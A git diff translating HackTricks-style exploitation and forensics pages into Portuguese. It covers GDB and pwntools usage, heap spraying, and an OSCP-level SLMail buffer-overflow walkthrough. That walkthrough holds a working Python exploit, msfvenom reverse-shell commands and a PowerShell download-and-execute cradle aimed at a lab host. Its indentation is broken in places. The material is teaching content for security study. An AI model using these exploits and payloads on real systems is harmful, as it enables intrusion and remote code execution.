+Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão se utiliza 0x0c. Pois se tentará saltar à endereço 0x0c0c0c0c, e assim se se sobrescrever alguma endereço à qual se vá chamar com esse colchão, se saltará ali. Basicamente a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops.
 
 **Heap Feng Shui**
 
-Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
+Consiste em, através de reservas e liberações, semear a memória de forma que fiquem trozos reservados entre trozos livres. O buffer a desbordar se situará em um dos ovos.
 
-**objdump -d ejecutable** —> Disas functions\
+**objdump -d executável** —> Disas functions\
 **objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\
-**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\
-**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\
-**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\
+**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e tirar os OpCodes\
+**objdump -t ./exec | grep varBss** —> Tabela de símbolos, para tirar endereço de variáveis e funções\
+**objdump -TR ./exec | grep exit(func lib)** —> Para tirar endereço de funções de bibliotecas (GOT)\
 **objdump -d ./exec | grep funcCode**\
 **objdump -s -j .dtors /exec**\
 **objdump -s -j .got ./exec**\
-**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\
-**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
+**objdump -t --dynamic-relo ./exec | grep puts** —> Tira a endereço de puts a sobrescrever na GOT\
+**objdump -D ./exec** —> Disas ALL até as entradas da plt\
 **objdump -p -/exec**\
-**Info functions strncmp —>** Info de la función en gdb
+**Info functions strncmp —>** Info da função em gdb
 
-## Interesting courses
+## Cursos interessantes
 
 - [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
 - [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
 - [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
 
-## **References**
+## **Referências**
 
 - [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
 
diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md
index 344a72d02..6bc219f86 100644
--- a/src/exploiting/linux-exploiting-basic-esp/fusion.md
+++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md
@@ -4,9 +4,8 @@
 
 [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
 
-1. Get offset to modify EIP
-2. Put shellcode address in EIP
-
+1. Obter o deslocamento para modificar o EIP
+2. Colocar o endereço do shellcode no EIP
 ```python
 from pwn import *
 
@@ -32,9 +31,7 @@ r.recvline()
 r.send(buf)
 r.interactive()
 ```
-
-# Level01
-
+# Nível01
 ```python
 from pwn import *
 
@@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01"
 r.send(buf)
 r.interactive()
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md
index 0ca40e712..ec15b3e89 100644
--- a/src/exploiting/tools/README.md
+++ b/src/exploiting/tools/README.md
@@ -1,9 +1,8 @@
-# Exploiting Tools
+# Ferramentas de Exploração
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Metasploit
-
 ```
 pattern_create.rb -l 3000   #Length
 pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
@@ -11,31 +10,23 @@ nasm_shell.rb
 nasm> jmp esp   #Get opcodes
 msfelfscan -j esi /opt/fusion/bin/level01
 ```
-
 ### Shellcodes
-
 ```
 msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
 ```
-
 ## GDB
 
-### Install
-
+### Instalar
 ```
 apt-get install gdb
 ```
-
-### Parameters
-
+### Parâmetros
 ```bash
 -q # No show banner
 -x  # Auto-execute GDB instructions from here
 -p  # Attach to process
 ```
-
-### Instructions
-
+### Instruções
 ```bash
 run # Execute
 start # Start and break in main
@@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer
 x/xw &pointer # Address where the pointer is located
 x/i $eip # Instructions of the EIP
 ```
-
 ### [GEF](https://github.com/hugsy/gef)
-
 ```bash
 help memory # Get help on memory command
 canary # Search for canary value in memory
@@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61
 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
 2- ef➤  i f
 Stack level 0, frame at 0x7fffffffddd0:
- rip = 0x400cd3; saved rip = 0x6261617762616176
- called by frame at 0x7fffffffddd8
- Arglist at 0x7fffffffdcf8, args:
- Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
- Saved registers:
-  rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
+rip = 0x400cd3; saved rip = 0x6261617762616176
+called by frame at 0x7fffffffddd8
+Arglist at 0x7fffffffdcf8, args:
+Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
+Saved registers:
+rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
 gef➤  pattern search 0x6261617762616176
 [+] Searching for '0x6261617762616176'
 [+] Found at offset 184 (little-endian search) likely
 ```
+### Truques
 
-### Tricks
+#### Endereços iguais no GDB
 
-#### GDB same addresses
-
-While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
+Enquanto depura, o GDB terá **endereços ligeiramente diferentes dos usados pelo binário quando executado.** Você pode fazer o GDB ter os mesmos endereços fazendo:
 
 - `unset env LINES`
 - `unset env COLUMNS`
-- `set env _=` _Put the absolute path to the binary_
-- Exploit the binary using the same absolute route
-- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
+- `set env _=` _Coloque o caminho absoluto para o binário_
+- Exploit o binário usando a mesma rota absoluta
+- `PWD` e `OLDPWD` devem ser os mesmos ao usar o GDB e ao explorar o binário
 
-#### Backtrace to find functions called
-
-When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
-You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
+#### Backtrace para encontrar funções chamadas
 
+Quando você tem um **binário vinculado estaticamente**, todas as funções pertencerão ao binário (e não a bibliotecas externas). Nesse caso, será difícil **identificar o fluxo que o binário segue para, por exemplo, solicitar entrada do usuário.**\
+Você pode identificar facilmente esse fluxo **executando** o binário com **gdb** até que seja solicitado a entrada. Em seguida, pare-o com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas:
 ```
 gef➤  bt
 #0  0x00000000004498ae in ?? ()
@@ -149,79 +136,74 @@ gef➤  bt
 #3  0x00000000004011a9 in ?? ()
 #4  0x0000000000400a5a in ?? ()
 ```
+### Servidor GDB
 
-### GDB server
-
-`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
+`gdbserver --multi 0.0.0.0:23947` (no IDA você deve preencher o caminho absoluto do executável na máquina Linux e na máquina Windows)
 
 ## Ghidra
 
-### Find stack offset
+### Encontrar deslocamento da pilha
 
-**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
-For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
-_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
+**Ghidra** é muito útil para encontrar o **deslocamento** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\
+Por exemplo, no exemplo abaixo, um fluxo de buffer em `local_bc` indica que você precisa de um deslocamento de `0xbc`. Além disso, se `local_10` for um cookie canário, isso indica que para sobrescrevê-lo a partir de `local_bc` há um deslocamento de `0xac`.\
+_Lembre-se de que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._
 
 ![](<../../images/image (616).png>)
 
 ## GCC
 
-**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
-**-o** --> Output\
-**-g** --> Save code (GDB will be able to see it)\
-**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
+**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sem proteções\
+**-o** --> Saída\
+**-g** --> Salvar código (GDB poderá vê-lo)\
+**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desativar o ASLR no linux
 
-**To compile a shellcode:**\
-**nasm -f elf assembly.asm** --> return a ".o"\
-**ld assembly.o -o shellcodeout** --> Executable
+**Para compilar um shellcode:**\
+**nasm -f elf assembly.asm** --> retorna um ".o"\
+**ld assembly.o -o shellcodeout** --> Executável
 
 ## Objdump
 
-**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
-**-Mintel** --> **Intel** syntax\
-**-t** --> **Symbols** table\
-**-D** --> **Disassemble all** (address of static variable)\
-**-s -j .dtors** --> dtors section\
-**-s -j .got** --> got section\
-\-D -s -j .plt --> **plt** section **decompiled**\
-**-TR** --> **Relocations**\
-**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
-**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
+**-d** --> **Desmontar executável** seções (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\
+**-Mintel** --> **Sintaxe** Intel\
+**-t** --> Tabela de **Símbolos**\
+**-D** --> **Desmontar tudo** (endereço de variável estática)\
+**-s -j .dtors** --> seção dtors\
+**-s -j .got** --> seção got\
+\-D -s -j .plt --> seção **plt** **decompilada**\
+**-TR** --> **Realocações**\
+**ojdump -t --dynamic-relo ./exec | grep puts** --> Endereço de "puts" para modificar no GOT\
+**objdump -D ./exec | grep "VAR_NAME"** --> Endereço ou uma variável estática (essas são armazenadas na seção DATA).
 
 ## Core dumps
 
-1. Run `ulimit -c unlimited` before starting my program
-2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
+1. Execute `ulimit -c unlimited` antes de iniciar meu programa
+2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
 3. sudo gdb --core=\ --quiet
 
-## More
+## Mais
 
-**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
-**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\
-**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
-**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
+**ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\
+**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop para ver se o endereço muda muito\
+**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Deslocamento de "system"\
+**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Deslocamento de "/bin/sh"
 
-**strace executable** --> Functions called by the executable\
-**rabin2 -i ejecutable -->** Address of all the functions
+**strace executable** --> Funções chamadas pelo executável\
+**rabin2 -i ejecutable -->** Endereço de todas as funções
 
 ## **Inmunity debugger**
-
 ```bash
 !mona modules    #Get protections, look for all false except last one (Dll of SO)
 !mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)
 ```
-
 ## IDA
 
-### Debugging in remote linux
-
-Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary:
+### Depuração em linux remoto
 
+Dentro da pasta IDA, você pode encontrar binários que podem ser usados para depurar um binário dentro de um linux. Para fazer isso, mova o binário _linux_server_ ou _linux_server64_ para dentro do servidor linux e execute-o na pasta que contém o binário:
 ```
 ./linux_server64 -Ppass
 ```
-
-Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
+Em seguida, configure o depurador: Debugger (linux remote) --> Proccess options...:
 
 ![](<../../images/image (101).png>)
 
diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md
index a7c0aa204..e8cc3fa3f 100644
--- a/src/exploiting/tools/pwntools.md
+++ b/src/exploiting/tools/pwntools.md
@@ -1,118 +1,98 @@
 {{#include ../../banners/hacktricks-training.md}}
-
 ```
 pip3 install pwntools
 ```
-
 # Pwn asm
 
-Get opcodes from line or file.
-
+Obtenha opcodes de linha ou arquivo.
 ```
 pwn asm "jmp esp"
 pwn asm -i 
 ```
+**Pode selecionar:**
 
-**Can select:**
+- tipo de saída (raw, hex, string, elf)
+- contexto do arquivo de saída (16, 32, 64, linux, windows...)
+- evitar bytes (novas linhas, nulo, uma lista)
+- selecionar codificador de shellcode de depuração usando gdb executar a saída
 
-- output type (raw,hex,string,elf)
-- output file context (16,32,64,linux,windows...)
-- avoid bytes (new lines, null, a list)
-- select encoder debug shellcode using gdb run the output
-
-# **Pwn checksec**
-
-Checksec script
+# **Verificação de Pwn**
 
+Script checksec
 ```
 pwn checksec 
 ```
-
 # Pwn constgrep
 
-# Pwn cyclic
-
-Get a pattern
+# Pwn cíclico
 
+Obtenha um padrão
 ```
 pwn cyclic 3000
 pwn cyclic -l faad
 ```
+**Pode selecionar:**
 
-**Can select:**
-
-- The used alphabet (lowercase chars by default)
-- Length of uniq pattern (default 4)
-- context (16,32,64,linux,windows...)
-- Take the offset (-l)
+- O alfabeto usado (caracteres minúsculos por padrão)
+- Comprimento do padrão único (padrão 4)
+- contexto (16,32,64,linux,windows...)
+- Levar o deslocamento (-l)
 
 # Pwn debug
 
-Attach GDB to a process
-
+Anexar GDB a um processo
 ```
 pwn debug --exec /bin/bash
 pwn debug --pid 1234
 pwn debug --process bash
 ```
+**Pode selecionar:**
 
-**Can select:**
-
-- By executable, by name or by pid context (16,32,64,linux,windows...)
-- gdbscript to execute
+- Por executável, por nome ou por contexto de pid (16,32,64,linux,windows...)
+- gdbscript para executar
 - sysrootpath
 
 # Pwn disablenx
 
-Disable nx of a binary
-
+Desativar nx de um binário
 ```
 pwn disablenx 
 ```
-
 # Pwn disasm
 
-Disas hex opcodes
-
+Desassemble opcodes hex
 ```
 pwn disasm ffe4
 ```
+**Pode selecionar:**
 
-**Can select:**
-
-- context (16,32,64,linux,windows...)
-- base addres
-- color(default)/no color
+- contexto (16,32,64,linux,windows...)
+- endereço base
+- cor(padrão)/sem cor
 
 # Pwn elfdiff
 
-Print differences between 2 fiels
-
+Imprime as diferenças entre 2 arquivos
 ```
 pwn elfdiff  
 ```
-
 # Pwn hex
 
-Get hexadecimal representation
-
+Obter representação hexadecimal
 ```bash
 pwn hex hola #Get hex of "hola" ascii
 ```
-
 # Pwn phd
 
-Get hexdump
-
+Obter hexdump
 ```
 pwn phd 
 ```
+**Pode selecionar:**
 
-**Can select:**
-
-- Number of bytes to show
-- Number of bytes per line highlight byte
-- Skip bytes at beginning
+- Número de bytes a mostrar
+- Número de bytes por linha destacar byte
+- Ignorar bytes no início
 
 # Pwn pwnstrip
 
@@ -120,8 +100,7 @@ pwn phd 
 
 # Pwn shellcraft
 
-Get shellcodes
-
+Obter shellcodes
 ```
 pwn shellcraft -l #List shellcodes
 pwn shellcraft -l amd #Shellcode with amd in the name
@@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
 pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
 pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
 ```
+**Pode selecionar:**
 
-**Can select:**
+- shellcode e argumentos para o shellcode
+- Arquivo de saída
+- formato de saída
+- depuração (anexar dbg ao shellcode)
+- antes (depuração de armadilha antes do código)
+- depois
+- evitar usar opcodes (padrão: não nulo e nova linha)
+- Executar o shellcode
+- Cor/sem cor
+- listar syscalls
+- listar possíveis shellcodes
+- Gerar ELF como uma biblioteca compartilhada
 
-- shellcode and arguments for the shellcode
-- Out file
-- output format
-- debug (attach dbg to shellcode)
-- before (debug trap before code)
-- after
-- avoid using opcodes (default: not null and new line)
-- Run the shellcode
-- Color/no color
-- list syscalls
-- list possible shellcodes
-- Generate ELF as a shared library
-
-# Pwn template
-
-Get a python template
+# Modelo Pwn
 
+Obtenha um modelo em python
 ```
 pwn template
 ```
-
-**Can select:** host, port, user, pass, path and quiet
+**Pode selecionar:** host, porta, usuário, senha, caminho e silencioso
 
 # Pwn unhex
 
-From hex to string
-
+De hex para string
 ```
 pwn unhex 686f6c61
 ```
+# Atualização do Pwn
 
-# Pwn update
-
-To update pwntools
-
+Para atualizar o pwntools
 ```
 pwn update
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
index 1f8119bb8..d993a9767 100644
--- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
+++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
@@ -1,21 +1,18 @@
-# Windows Exploiting (Basic Guide - OSCP lvl)
+# Windows Exploiting (Guia Básico - Nível OSCP)
 
 {{#include ../banners/hacktricks-training.md}}
 
-## **Start installing the SLMail service**
+## **Comece a instalar o serviço SLMail**
 
-## Restart SLMail service
-
-Every time you need to **restart the service SLMail** you can do it using the windows console:
+## Reiniciar o serviço SLMail
 
+Sempre que você precisar **reiniciar o serviço SLMail**, você pode fazê-lo usando o console do Windows:
 ```
 net start slmail
 ```
-
 ![](<../images/image (23) (1).png>)
 
-## Very basic python exploit template
-
+## Modelo de exploit python muito básico
 ```python
 #!/usr/bin/python
 
@@ -27,99 +24,89 @@ port = 110
 
 buffer = 'A' * 2700
 try:
-    print "\nLaunching exploit..."
-    s.connect((ip, port))
-    data = s.recv(1024)
-    s.send('USER username' +'\r\n')
-    data = s.recv(1024)
-    s.send('PASS ' + buffer + '\r\n')
-    print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
 except:
-    print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
 ```
+## **Mudar a Fonte do Immunity Debugger**
 
-## **Change Immunity Debugger Font**
+Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
 
-Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
-
-## **Attach the proces to Immunity Debugger:**
+## **Anexar o processo ao Immunity Debugger:**
 
 **File --> Attach**
 
 ![](<../images/image (24) (1) (1).png>)
 
-**And press START button**
+**E pressione o botão START**
 
-## **Send the exploit and check if EIP is affected:**
+## **Envie o exploit e verifique se o EIP está afetado:**
 
 ![](<../images/image (25) (1) (1).png>)
 
-Every time you break the service you should restart it as is indicated in the beginnig of this page.
+Toda vez que você interromper o serviço, deve reiniciá-lo, conforme indicado no início desta página.
 
-## Create a pattern to modify the EIP
+## Criar um padrão para modificar o EIP
 
-The pattern should be as big as the buffer you used to broke the service previously.
+O padrão deve ser tão grande quanto o buffer que você usou para interromper o serviço anteriormente.
 
 ![](<../images/image (26) (1) (1).png>)
-
 ```
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
 ```
+Altere o buffer do exploit e defina o padrão e inicie o exploit.
 
-Change the buffer of the exploit and set the pattern and lauch the exploit.
-
-A new crash should appeard, but with a different EIP address:
+Um novo crash deve aparecer, mas com um endereço EIP diferente:
 
 ![](<../images/image (27) (1) (1).png>)
 
-Check if the address was in your pattern:
+Verifique se o endereço estava no seu padrão:
 
 ![](<../images/image (28) (1) (1).png>)
-
 ```
 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
 ```
+Parece que **podemos modificar o EIP no offset 2606** do buffer.
 
-Looks like **we can modify the EIP in offset 2606** of the buffer.
-
-Check it modifing the buffer of the exploit:
-
+Verifique modificando o buffer do exploit:
 ```
 buffer = 'A'*2606 + 'BBBB' + 'CCCC'
 ```
-
-With this buffer the EIP crashed should point to 42424242 ("BBBB")
+Com esse buffer, o EIP travou e deve apontar para 42424242 ("BBBB")
 
 ![](<../images/image (30) (1) (1).png>)
 
 ![](<../images/image (29) (1) (1).png>)
 
-Looks like it is working.
+Parece que está funcionando.
 
-## Check for Shellcode space inside the stack
+## Verifique o espaço para Shellcode dentro da pilha
 
-600B should be enough for any powerfull shellcode.
-
-Lets change the bufer:
+600B deve ser suficiente para qualquer shellcode poderoso.
 
+Vamos mudar o buffer:
 ```
 buffer = 'A'*2606 + 'BBBB' + 'C'*600
 ```
-
-launch the new exploit and check the EBP and the length of the usefull shellcode
+inicie o novo exploit e verifique o EBP e o comprimento do shellcode útil
 
 ![](<../images/image (31) (1).png>)
 
 ![](<../images/image (32) (1).png>)
 
-You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
+Você pode ver que, quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui.
 
-In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
+Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
 
-## Check for bad chars
-
-Change again the buffer:
+## Verifique os caracteres ruins
 
+Mude novamente o buffer:
 ```
 badchars = (
 "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@@ -141,63 +128,55 @@ badchars = (
 )
 buffer = 'A'*2606 + 'BBBB' + badchars
 ```
+Os badchars começam em 0x01 porque 0x00 é quase sempre ruim.
 
-The badchars starts in 0x01 because 0x00 is almost always bad.
+Execute repetidamente o exploit com este novo buffer removendo os caracteres que se mostram inúteis:
 
-Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
+Por exemplo:
 
-For example:
-
-In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
+Neste caso, você pode ver que **não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09).
 
 ![](<../images/image (33) (1).png>)
 
-In this case you can see that **the char 0x0D is avoided**:
+Neste caso, você pode ver que **o caractere 0x0D é evitado**:
 
 ![](<../images/image (34) (1).png>)
 
-## Find a JMP ESP as a return address
-
-Using:
+## Encontre um JMP ESP como endereço de retorno
 
+Usando:
 ```
 !mona modules    #Get protections, look for all false except last one (Dll of SO)
 ```
+Você irá **listar os mapas de memória**. Procure por algum DLL que tenha:
 
-You will **list the memory maps**. Search for some DLl that has:
-
-- **Rebase: False**
-- **SafeSEH: False**
-- **ASLR: False**
-- **NXCompat: False**
-- **OS Dll: True**
+- **Rebase: Falso**
+- **SafeSEH: Falso**
+- **ASLR: Falso**
+- **NXCompat: Falso**
+- **OS Dll: Verdadeiro**
 
 ![](<../images/image (35) (1).png>)
 
-Now, inside this memory you should find some JMP ESP bytes, to do that execute:
-
+Agora, dentro dessa memória você deve encontrar alguns bytes JMP ESP, para fazer isso execute:
 ```
 !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
 !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
 ```
-
-**Then, if some address is found, choose one that don't contain any badchar:**
+**Então, se algum endereço for encontrado, escolha um que não contenha nenhum badchar:**
 
 ![](<../images/image (36) (1).png>)
 
-**In this case, for example: \_0x5f4a358f**\_
-
-## Create shellcode
+**Neste caso, por exemplo: \_0x5f4a358f**\_
 
+## Criar shellcode
 ```
 msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
 msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
 ```
+Se o exploit não estiver funcionando, mas deveria (você pode ver com ImDebg que o shellcode é alcançado), tente criar outros shellcodes (msfvenom com crie diferentes shellcodes para os mesmos parâmetros).
 
-If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
-
-**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
-
+**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP, e finalize o exploit:
 ```bash
 #!/usr/bin/python
 
@@ -236,26 +215,23 @@ shellcode = (
 
 buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
 try:
-    print "\nLaunching exploit..."
-    s.connect((ip, port))
-    data = s.recv(1024)
-    s.send('USER username' +'\r\n')
-    data = s.recv(1024)
-    s.send('PASS ' + buffer + '\r\n')
-    print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
 except:
-    print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
 ```
-
 > [!WARNING]
-> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
+> Existem shellcodes que **sobrescrevem a si mesmos**, portanto é importante sempre adicionar alguns NOPs antes do shellcode
 
-## Improving the shellcode
-
-Add this parameters:
+## Melhorando o shellcode
 
+Adicione estes parâmetros:
 ```
 EXITFUNC=thread -e x86/shikata_ga_nai
 ```
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md
index e725dfa85..6a7708366 100644
--- a/src/forensics/basic-forensic-methodology/README.md
+++ b/src/forensics/basic-forensic-methodology/README.md
@@ -1,30 +1,30 @@
-# Basic Forensic Methodology
+# Metodologia Básica de Análise Forense
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Creating and Mounting an Image
+## Criando e Montando uma Imagem
 
 {{#ref}}
 ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
 {{#endref}}
 
-## Malware Analysis
+## Análise de Malware
 
-This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**:
+Isso **não é necessariamente o primeiro passo a ser realizado uma vez que você tenha a imagem**. Mas você pode usar essas técnicas de análise de malware de forma independente se tiver um arquivo, uma imagem de sistema de arquivos, imagem de memória, pcap... então é bom **manter essas ações em mente**:
 
 {{#ref}}
 malware-analysis.md
 {{#endref}}
 
-## Inspecting an Image
+## Inspecionando uma Imagem
 
-if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in:
+Se você receber uma **imagem forense** de um dispositivo, pode começar **a analisar as partições, o sistema de arquivos** utilizado e **recuperar** potencialmente **arquivos interessantes** (mesmo os deletados). Aprenda como em:
 
 {{#ref}}
 partitions-file-systems-carving/
 {{#endref}}
 
-Depending on the used OSs and even platform different interesting artifacts should be searched:
+Dependendo dos sistemas operacionais utilizados e até mesmo da plataforma, diferentes artefatos interessantes devem ser pesquisados:
 
 {{#ref}}
 windows-forensics/
@@ -38,42 +38,42 @@ linux-forensics.md
 docker-forensics.md
 {{#endref}}
 
-## Deep inspection of specific file-types and Software
+## Inspeção Profunda de Tipos de Arquivo e Software Específicos
 
-If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\
-Read the following page to learn some interesting tricks:
+Se você tiver um **arquivo** muito **suspeito**, então **dependendo do tipo de arquivo e do software** que o criou, vários **truques** podem ser úteis.\
+Leia a página a seguir para aprender alguns truques interessantes:
 
 {{#ref}}
 specific-software-file-type-tricks/
 {{#endref}}
 
-I want to do a special mention to the page:
+Quero fazer uma menção especial à página:
 
 {{#ref}}
 specific-software-file-type-tricks/browser-artifacts.md
 {{#endref}}
 
-## Memory Dump Inspection
+## Inspeção de Dump de Memória
 
 {{#ref}}
 memory-dump-analysis/
 {{#endref}}
 
-## Pcap Inspection
+## Inspeção de Pcap
 
 {{#ref}}
 pcap-inspection/
 {{#endref}}
 
-## **Anti-Forensic Techniques**
+## **Técnicas Anti-Forenses**
 
-Keep in mind the possible use of anti-forensic techniques:
+Tenha em mente o possível uso de técnicas anti-forenses:
 
 {{#ref}}
 anti-forensic-techniques.md
 {{#endref}}
 
-## Threat Hunting
+## Caça a Ameaças
 
 {{#ref}}
 file-integrity-monitoring.md
diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
index 615ede378..090b38c31 100644
--- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
@@ -1,77 +1,73 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
-
 # Timestamps
 
-An attacker may be interested in **changing the timestamps of files** to avoid being detected.\
-It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`.
